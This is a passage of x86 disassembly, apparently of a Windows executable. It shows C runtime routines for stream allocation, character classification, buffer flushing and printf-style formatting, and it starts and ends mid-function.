		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FBCD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FD3D	proc near		; CODE XREF: sub_41BE82p
		mov	edx, dword_4DD080
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_41FDAE
		mov	ebx, dword_4DC06C
		mov	edi, ebx


loc_41FD59:				; CODE XREF: sub_41FD3D+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_41FD74
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_41FD6F
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_41FD59
		jmp	short loc_41FDAE
; ---------------------------------------------------------------------------


loc_41FD6F:				; CODE XREF: sub_41FD3D+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_41FD98
; ---------------------------------------------------------------------------


loc_41FD74:				; CODE XREF: sub_41FD3D+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_41BEB5
		pop	ecx
		mov	ecx, dword_4DC06C
		mov	[edi+ecx], eax
		mov	eax, dword_4DC06C
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_41FDAE
		mov	esi, edi


loc_41FD98:				; CODE XREF: sub_41FD3D+35j
		cmp	esi, ebp
		jz	short loc_41FDAE
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp


loc_41FDAE:				; CODE XREF: sub_41FD3D+12j
					; sub_41FD3D+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41FD3D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FDB5	proc near		; CODE XREF: sub_41C0CE+17p
					; sub_41C0CE+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_41FDD3
		mov	ecx, off_43CEC8
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_41FE25
; ---------------------------------------------------------------------------


loc_41FDD3:				; CODE XREF: sub_41FDB5+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_43CEC8
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_41FDF8
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_41FE01
; ---------------------------------------------------------------------------


loc_41FDF8:				; CODE XREF: sub_41FDB5+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_41FE01:				; CODE XREF: sub_41FDB5+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_4244F4
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41FE21
		leave
		retn
; ---------------------------------------------------------------------------


loc_41FE21:				; CODE XREF: sub_41FDB5+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_41FE25:				; CODE XREF: sub_41FDB5+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_41FDB5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FE2A	proc near		; CODE XREF: sub_41C266+46p
					; sub_41C360+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_41FF33
		test	al, 40h
		jnz	loc_41FF33
		test	al, 1
		jz	short loc_41FE62
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_41FF33
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_41FE62:				; CODE XREF: sub_41FE2A+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41FE9C
		cmp	esi, offset dword_43D5D8
		jz	short loc_41FE8A
		cmp	esi, offset dword_43D5F8
		jnz	short loc_41FE95


loc_41FE8A:				; CODE XREF: sub_41FE2A+56j
		push	ebx
		call	sub_42463D
		test	eax, eax
		pop	ecx
		jnz	short loc_41FE9C


loc_41FE95:				; CODE XREF: sub_41FE2A+5Ej
		push	esi
		call	sub_4241F7
		pop	ecx


loc_41FE9C:				; CODE XREF: sub_41FE2A+4Ej
					; sub_41FE2A+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_41FF09
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_41FECC
		push	edi
		push	eax
		push	ebx
		call	sub_4230FB
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_41FEFF
; ---------------------------------------------------------------------------


loc_41FECC:				; CODE XREF: sub_41FE2A+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41FEE7
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DD0A0[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_41FEEC
; ---------------------------------------------------------------------------


loc_41FEE7:				; CODE XREF: sub_41FE2A+A5j
		mov	eax, offset dword_43D520


loc_41FEEC:				; CODE XREF: sub_41FE2A+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_41FEFF
		push	2
		push	0
		push	ebx
		call	sub_422F09
		add	esp, 0Ch


loc_41FEFF:				; CODE XREF: sub_41FE2A+A0j
					; sub_41FE2A+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_41FF1D
; ---------------------------------------------------------------------------


loc_41FF09:				; CODE XREF: sub_41FE2A+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_4230FB
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_41FF1D:				; CODE XREF: sub_41FE2A+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_41FF29
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_41FF38
; ---------------------------------------------------------------------------


loc_41FF29:				; CODE XREF: sub_41FE2A+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_41FF3B
; ---------------------------------------------------------------------------


loc_41FF33:				; CODE XREF: sub_41FE2A+10j
					; sub_41FE2A+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_41FF38:				; CODE XREF: sub_41FE2A+FDj
		or	eax, 0FFFFFFFFh


loc_41FF3B:				; CODE XREF: sub_41FE2A+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41FE2A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FF3F	proc near		; CODE XREF: sub_41C266+29p
					; sub_41C360+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_420658
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_41FF73
; ---------------------------------------------------------------------------


loc_41FF6B:				; CODE XREF: sub_41FF3F+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_41FF73:				; CODE XREF: sub_41FF3F+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_420658
		cmp	bl, 20h
		jl	short loc_41FF94
		cmp	bl, 78h
		jg	short loc_41FF94
		movsx	eax, bl
		mov	al, [eax+42771Ch]
		and	eax, 0Fh
		jmp	short loc_41FF96
; ---------------------------------------------------------------------------


loc_41FF94:				; CODE XREF: sub_41FF3F+40j
					; sub_41FF3F+45j
		xor	eax, eax


loc_41FF96:				; CODE XREF: sub_41FF3F+53j
		movsx	eax, byte_42773C[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_420647	; default
		jmp	off_420660[eax*4] ; switch jump


loc_41FFB4:				; DATA XREF: ___:off_420660o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 0041FFAD case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_41FFCF:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: ___:off_420660o
		movsx	eax, bl		; jumptable 0041FFAD case 2
		sub	eax, 20h
		jz	short loc_420012
		sub	eax, 3
		jz	short loc_420009
		sub	eax, 8
		jz	short loc_420000
		dec	eax
		dec	eax
		jz	short loc_41FFF7
		sub	eax, 3
		jnz	loc_420647	; default
		or	[ebp+var_4], 8
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_41FFF7:				; CODE XREF: sub_41FF3F+A4j
		or	[ebp+var_4], 4
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_420000:				; CODE XREF: sub_41FF3F+A0j
		or	[ebp+var_4], 1
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_420009:				; CODE XREF: sub_41FF3F+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_420012:				; CODE XREF: sub_41FF3F+96j
		or	[ebp+var_4], 2
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_42001B:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: ___:off_420660o
		cmp	bl, 2Ah		; jumptable 0041FFAD case 3
		jnz	short loc_420043
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42071E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_420647	; default
		or	[ebp+var_4], 4
		neg	eax


loc_42003B:				; CODE XREF: sub_41FF3F+111j
		mov	[ebp+var_20], eax
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_420043:				; CODE XREF: sub_41FF3F+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]


loc_42004C:				; DATA XREF: ___:00432878o
					; ___:00432884o
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_42003B
; ---------------------------------------------------------------------------


loc_420052:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: ___:off_420660o
		mov	[ebp+var_10], edx ; jumptable 0041FFAD case 4
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_42005A:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: ___:off_420660o
		cmp	bl, 2Ah		; jumptable 0041FFAD case 5
		jnz	short loc_42007D
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42071E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_420647	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_42007D:				; CODE XREF: sub_41FF3F+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_42008F:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: ___:off_420660o
		cmp	bl, 49h		; jumptable 0041FFAD case 6
		jz	short loc_4200C2
		cmp	bl, 68h
		jz	short loc_4200B9
		cmp	bl, 6Ch
		jz	short loc_4200B0
		cmp	bl, 77h
		jnz	loc_420647	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_4200B0:				; CODE XREF: sub_41FF3F+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_4200B9:				; CODE XREF: sub_41FF3F+158j
		or	[ebp+var_4], 20h
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_4200C2:				; CODE XREF: sub_41FF3F+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_4200DB
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_4200DB
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_4200DB:				; CODE XREF: sub_41FF3F+186j
					; sub_41FF3F+18Cj
		mov	[ebp+var_30], edx


loc_4200DE:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: ___:off_420660o
		mov	ecx, off_43CEC8	; jumptable 0041FFAD case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_42010A
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_420680
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi


loc_42010A:				; CODE XREF: sub_41FF3F+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_420680
		add	esp, 0Ch
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_420122:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: ___:off_420660o
		movsx	eax, bl		; jumptable 0041FFAD case 7
		cmp	eax, 67h
		jg	loc_42034A
		cmp	eax, 65h
		jge	loc_4201CD
		cmp	eax, 58h
		jg	loc_42022B
		jz	loc_4203BE
		sub	eax, 43h
		jz	loc_4201EE
		dec	eax
		dec	eax
		jz	short loc_4201C3
		dec	eax
		dec	eax
		jz	short loc_4201C3
		sub	eax, 0Ch
		jnz	loc_420549
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_42016C
		or	byte ptr [ebp+var_4+1],	8


loc_42016C:				; CODE XREF: sub_41FF3F+227j
					; sub_41FF3F+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_420179
		mov	esi, 7FFFFFFFh


loc_420179:				; CODE XREF: sub_41FF3F+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42071E
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_420392
		test	ecx, ecx
		jnz	short loc_4201A1
		mov	ecx, off_43D0E4
		mov	[ebp+var_8], ecx


loc_4201A1:				; CODE XREF: sub_41FF3F+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_4201AA:				; CODE XREF: sub_41FF3F+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_420389
		cmp	word ptr [eax],	0
		jz	loc_420389
		inc	eax
		inc	eax
		jmp	short loc_4201AA
; ---------------------------------------------------------------------------


loc_4201C3:				; CODE XREF: sub_41FF3F+212j
					; sub_41FF3F+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_4201CD:				; CODE XREF: sub_41FF3F+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_4202B1
		mov	[ebp+var_10], 6
		jmp	loc_4202BF
; ---------------------------------------------------------------------------


loc_4201EE:				; CODE XREF: sub_41FF3F+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_4201FA
		or	byte ptr [ebp+var_4+1],	8


loc_4201FA:				; CODE XREF: sub_41FF3F+2B5j
					; sub_41FF3F+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_420241
		call	sub_42073B
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_424663
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_420254
		mov	[ebp+var_28], 1
		jmp	short loc_420254
; ---------------------------------------------------------------------------


loc_42022B:				; CODE XREF: sub_41FF3F+1FBj
		sub	eax, 5Ah
		jz	short loc_420262
		sub	eax, 9
		jz	short loc_4201FA
		dec	eax
		jz	loc_420424
		jmp	loc_420549
; ---------------------------------------------------------------------------


loc_420241:				; CODE XREF: sub_41FF3F+2C5j
		call	sub_42071E
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1


loc_420254:				; CODE XREF: sub_41FF3F+2E1j
					; sub_41FF3F+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_420549
; ---------------------------------------------------------------------------


loc_420262:				; CODE XREF: sub_41FF3F+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42071E
		test	eax, eax
		pop	ecx
		jz	short loc_4202A3
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_4202A3
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_420294
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_420549
; ---------------------------------------------------------------------------


loc_420294:				; CODE XREF: sub_41FF3F+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_420546
; ---------------------------------------------------------------------------


loc_4202A3:				; CODE XREF: sub_41FF3F+32Fj
					; sub_41FF3F+336j
		mov	eax, off_43D0E0
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_42033F
; ---------------------------------------------------------------------------


loc_4202B1:				; CODE XREF: sub_41FF3F+29Dj
		jnz	short loc_4202BF
		cmp	bl, 67h
		jnz	short loc_4202BF
		mov	[ebp+var_10], 1


loc_4202BF:				; CODE XREF: sub_41FF3F+2AAj
					; sub_41FF3F:loc_4202B1j ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_43D470
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_420311
		cmp	[ebp+var_10], 0
		jnz	short loc_420311
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43D47C
		pop	ecx


loc_420311:				; CODE XREF: sub_41FF3F+3BCj
					; sub_41FF3F+3C2j
		cmp	bl, 67h
		jnz	short loc_420328
		test	esi, esi
		jnz	short loc_420328
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43D474
		pop	ecx


loc_420328:				; CODE XREF: sub_41FF3F+3D5j
					; sub_41FF3F+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_42033E
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_42033E:				; CODE XREF: sub_41FF3F+3F0j
		push	edi


loc_42033F:				; CODE XREF: sub_41FF3F+36Dj
		call	sub_41B9C0
		pop	ecx
		jmp	loc_420546
; ---------------------------------------------------------------------------


loc_42034A:				; CODE XREF: sub_41FF3F+1E9j
		sub	eax, 69h
		jz	loc_420424
		sub	eax, 5
		jz	loc_4203FA
		dec	eax
		jz	loc_4203E7
		dec	eax
		jz	short loc_4203B7
		sub	eax, 3
		jz	loc_42016C
		dec	eax
		dec	eax
		jz	loc_420428
		sub	eax, 3
		jnz	loc_420549
		mov	[ebp+var_2C], 27h
		jmp	short loc_4203C5
; ---------------------------------------------------------------------------


loc_420389:				; CODE XREF: sub_41FF3F+270j
					; sub_41FF3F+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_420546
; ---------------------------------------------------------------------------


loc_420392:				; CODE XREF: sub_41FF3F+24Fj
		test	ecx, ecx
		jnz	short loc_42039F
		mov	ecx, off_43D0E0
		mov	[ebp+var_8], ecx


loc_42039F:				; CODE XREF: sub_41FF3F+455j
		mov	eax, ecx


loc_4203A1:				; CODE XREF: sub_41FF3F+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_4203B0
		cmp	byte ptr [eax],	0
		jz	short loc_4203B0
		inc	eax
		jmp	short loc_4203A1
; ---------------------------------------------------------------------------


loc_4203B0:				; CODE XREF: sub_41FF3F+467j
					; sub_41FF3F+46Cj
		sub	eax, ecx
		jmp	loc_420546
; ---------------------------------------------------------------------------


loc_4203B7:				; CODE XREF: sub_41FF3F+425j
		mov	[ebp+var_10], 8


loc_4203BE:				; CODE XREF: sub_41FF3F+201j
		mov	[ebp+var_2C], 7


loc_4203C5:				; CODE XREF: sub_41FF3F+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_42042F
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_42042F
; ---------------------------------------------------------------------------


loc_4203E7:				; CODE XREF: sub_41FF3F+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_42042F
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_42042F
; ---------------------------------------------------------------------------


loc_4203FA:				; CODE XREF: sub_41FF3F+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42071E
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_420413
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_420418
; ---------------------------------------------------------------------------


loc_420413:				; CODE XREF: sub_41FF3F+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_420418:				; CODE XREF: sub_41FF3F+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_420424:				; CODE XREF: sub_41FF3F+2F7j
					; sub_41FF3F+40Ej
		or	[ebp+var_4], 40h


loc_420428:				; CODE XREF: sub_41FF3F+432j
		mov	[ebp+var_C], 0Ah


loc_42042F:				; CODE XREF: sub_41FF3F+491j
					; sub_41FF3F+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_420441
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42072B
		pop	ecx
		jmp	short loc_420482
; ---------------------------------------------------------------------------


loc_420441:				; CODE XREF: sub_41FF3F+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_420468
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_42045D
		call	sub_42071E
		pop	ecx
		movsx	eax, ax


loc_42045A:				; CODE XREF: sub_41FF3F+527j
					; sub_41FF3F+539j
		cdq
		jmp	short loc_420482
; ---------------------------------------------------------------------------


loc_42045D:				; CODE XREF: sub_41FF3F+510j
		call	sub_42071E
		pop	ecx
		movzx	eax, ax
		jmp	short loc_42045A
; ---------------------------------------------------------------------------


loc_420468:				; CODE XREF: sub_41FF3F+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_42047A
		call	sub_42071E
		pop	ecx
		jmp	short loc_42045A
; ---------------------------------------------------------------------------


loc_42047A:				; CODE XREF: sub_41FF3F+531j
		call	sub_42071E
		pop	ecx
		xor	edx, edx


loc_420482:				; CODE XREF: sub_41FF3F+500j
					; sub_41FF3F+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_4204A3
		test	edx, edx
		jg	short loc_4204A3
		jl	short loc_420492
		test	eax, eax
		jnb	short loc_4204A3


loc_420492:				; CODE XREF: sub_41FF3F+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_4204A7
; ---------------------------------------------------------------------------


loc_4204A3:				; CODE XREF: sub_41FF3F+547j
					; sub_41FF3F+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_4204A7:				; CODE XREF: sub_41FF3F+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_4204B0
		and	edi, 0


loc_4204B0:				; CODE XREF: sub_41FF3F+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_4204BF
		mov	[ebp+var_10], 1
		jmp	short loc_4204C3
; ---------------------------------------------------------------------------


loc_4204BF:				; CODE XREF: sub_41FF3F+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_4204C3:				; CODE XREF: sub_41FF3F+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_4204CD
		and	[ebp+var_1C], 0


loc_4204CD:				; CODE XREF: sub_41FF3F+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_4204D3:				; CODE XREF: sub_41FF3F+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_4204E3
		mov	eax, esi
		or	eax, edi
		jz	short loc_42051E


loc_4204E3:				; CODE XREF: sub_41FF3F+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_41DD20
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_41DCB0
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_420514
		add	ebx, [ebp+var_2C]


loc_420514:				; CODE XREF: sub_41FF3F+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_4204D3
; ---------------------------------------------------------------------------


loc_42051E:				; CODE XREF: sub_41FF3F+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_420549
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_42053C
		test	eax, eax
		jnz	short loc_420549


loc_42053C:				; CODE XREF: sub_41FF3F+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_420546:				; CODE XREF: sub_41FF3F+35Fj
					; sub_41FF3F+406j ...
		mov	[ebp+var_C], eax


loc_420549:				; CODE XREF: sub_41FF3F+21Bj
					; sub_41FF3F+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_420647	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_420581
		test	bh, 1
		jz	short loc_420566
		mov	[ebp+var_16], 2Dh
		jmp	short loc_42057A
; ---------------------------------------------------------------------------


loc_420566:				; CODE XREF: sub_41FF3F+61Fj
		test	bl, 1
		jz	short loc_420571
		mov	[ebp+var_16], 2Bh
		jmp	short loc_42057A
; ---------------------------------------------------------------------------


loc_420571:				; CODE XREF: sub_41FF3F+62Aj
		test	bl, 2
		jz	short loc_420581
		mov	[ebp+var_16], 20h


loc_42057A:				; CODE XREF: sub_41FF3F+625j
					; sub_41FF3F+630j
		mov	[ebp+var_1C], 1


loc_420581:				; CODE XREF: sub_41FF3F+61Aj
					; sub_41FF3F+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_4205A1
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_4206B5
		add	esp, 10h


loc_4205A1:				; CODE XREF: sub_41FF3F+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_4206E6
		add	esp, 10h
		test	bl, 8
		jz	short loc_4205D3
		test	bl, 4
		jnz	short loc_4205D3
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_4206B5
		add	esp, 10h


loc_4205D3:				; CODE XREF: sub_41FF3F+67Bj
					; sub_41FF3F+680j
